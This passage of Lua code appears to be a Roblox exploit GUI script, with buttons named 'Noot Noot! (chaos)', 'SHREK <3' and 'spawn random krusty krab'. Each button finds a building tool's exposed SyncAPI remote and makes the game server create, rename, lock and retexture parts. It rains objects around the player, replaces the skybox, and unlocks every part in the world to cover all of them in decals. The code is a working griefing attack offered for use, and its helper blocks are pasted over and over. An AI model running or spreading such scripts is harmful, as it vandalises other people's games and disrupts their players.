SetName(v, "ITS RAINING MEN!") -- Here the name of the toad changes
SetAnchor(false, v)
AddMesh(v)
Resize(v, Vector3.new(50, 50, 30), v.CFrame)
MeshResize(v, Vector3.new(0.5, 0.5, 0.5))
SetMesh(v, "1347582902") -- Here put it A custom mesh
SetTexture(v, "136908235065727") -- X2
SetCollision(v, false)
v.Orientation = Vector3.new(0, 0, 0)
v.CFrame = v.CFrame + Vector3.new(0, 0, 0)
local sound = Instance.new("Sound", v)
sound.SoundId = "rbxassetid://153752123" -- Here the noise or another sound To the toads or other things It works when they appear
sound.Volume = 0
sound.PlayOnRemove = true
sound:Destroy()
end
end
end)
else
wait(1)
end
end
end
coroutine.wrap(createRainToads)()
Sky("95921788891849") -- Here they change the skybox id
-- Delete this if you are going to Use it in another script
-- Obviously it has those noises because there is an official script that has it and the msg was making me lazy
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.62, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "blue2spooky statue"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Krab(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,18,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Blue2spookys Krusty Krab")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"1347582902")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(0.2,0.2,0.2))
SetLocked(v,true)
end
end
end
Krab("136908235065727")
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.62, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Noot Noot! (chaos)"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(99999,99999,99999))
SetLocked(v,true)
end
end
end
Sky("382332426")
-----------------------------------
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("382332426")
-----------
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
-- DO NOT DELETE THIS LEAVE MY CREDIT
-- Rain Toad Script By ItsKittyyyGD
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part, boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean, part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = workspace
}
_(args)
end
function Resize(part, size, cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://" .. texid
}
}
}
_(args)
end
function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function Sky(id)
local hrp = char:WaitForChild("HumanoidRootPart")
local cf = hrp.CFrame
CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)))
for _, v in workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
SetAnchor(true, v)
AddMesh(v)
SetMesh(v, "14832966960")
SetTexture(v, id)
MeshResize(v, Vector3.new(0, 0, 0))
end
end
end
local function createRainToads()
while true do
wait(0.001) -- Here they change the appearance time of the Toads or other meshes
if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
local hrpcf = player.Character.HumanoidRootPart.CFrame
local x = hrpcf.x
local z = hrpcf.z
local randint = math.random(-600, 600)
local randint2 = math.random(-600, 600)
local xloc = randint + x
local zloc = randint2 + z
local cf = player.Character.HumanoidRootPart.CFrame.y + 400
spawn(function()
local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc)))
for i, v in game.Workspace:GetDescendants() do
if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
SetName(v, "NOOT NOOT") -- Here the name of the toad changes
SetAnchor(false, v)
AddMesh(v)
Resize(v, Vector3.new(1, 1, 1), v.CFrame)
MeshResize(v, Vector3.new(200, 200, 200))
SetMesh(v, "111891702759441") -- Here put it A custom mesh
SetTexture(v, "382332426") -- X2
SetCollision(v, true)
v.Orientation = Vector3.new(0, 0, 0)
v.CFrame = v.CFrame + Vector3.new(0, 0, 0)
local sound = Instance.new("Sound", v)
sound.SoundId = "rbxassetid://153752123" -- Here the noise or another sound To the toads or other things It works when they appear
sound.Volume = 0
sound.PlayOnRemove = true
sound:Destroy()
end
end
end)
else
wait(1)
end
end
end
coroutine.wrap(createRainToads)()
Sky("95921788891849") -- Here they change the skybox id
-- Delete this if you are going to Use it in another script
-- Obviously it has those noises because there is an official script that has it and the msg was making me lazy
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.62, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "spawn random krusty krab"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
-- DO NOT DELETE THIS LEAVE MY CREDIT
-- Rain Toad Script By ItsKittyyyGD
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
local remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part, boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean, part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = workspace
}
_(args)
end
function Resize(part, size, cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://" .. texid
}
}
}
_(args)
end
function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function Sky(id)
local hrp = char:WaitForChild("HumanoidRootPart")
local cf = hrp.CFrame
CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)))
for _, v in workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
SetAnchor(true, v)
AddMesh(v)
SetMesh(v, "14832966960")
SetTexture(v, id)
MeshResize(v, Vector3.new(0, 0, 0))
end
end
end
local function createRainToads()
while true do
wait(1) -- Here they change the appearance time of the Toads or other meshes
if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
local hrpcf = player.Character.HumanoidRootPart.CFrame
local x = hrpcf.x
local z = hrpcf.z
local randint = math.random(-600, 600)
local randint2 = math.random(-600, 600)
local xloc = randint + x
local zloc = randint2 + z
local cf = player.Character.HumanoidRootPart.CFrame.y + 18
spawn(function()
local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 0), math.floor(zloc)))
for i, v in game.Workspace:GetDescendants() do
if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
SetName(v, "krutstity krab") -- Here the name of the toad changes
SetAnchor(true, v)
AddMesh(v)
Resize(v, Vector3.new(50, 50, 30), v.CFrame)
MeshResize(v, Vector3.new(1, 1, 1))
SetMesh(v, "2180383639") -- Here put it A custom mesh
SetTexture(v, "98314626230473") -- X2
SetCollision(v, true)
v.Orientation = Vector3.new(0, 0, 0)
v.CFrame = v.CFrame + Vector3.new(0, 0, 0)
local sound = Instance.new("Sound", v)
sound.SoundId = "rbxassetid://153752123" -- Here the noise or another sound To the toads or other things It works when they appear
sound.Volume = 0
sound.PlayOnRemove = true
sound:Destroy()
end
end
end)
else
wait(1)
end
end
end
coroutine.wrap(createRainToads)()
Sky("98314626230473") -- Here they change the skybox id
-- Delete this if you are going to Use it in another script
-- Obviously it has those noises because there is an official script that has it and the msg was making me lazy
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.62, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "SHREK <3"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(99999,99999,99999))
SetLocked(v,true)
end
end
end
Sky("107003562722788")
-----------------------------------
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
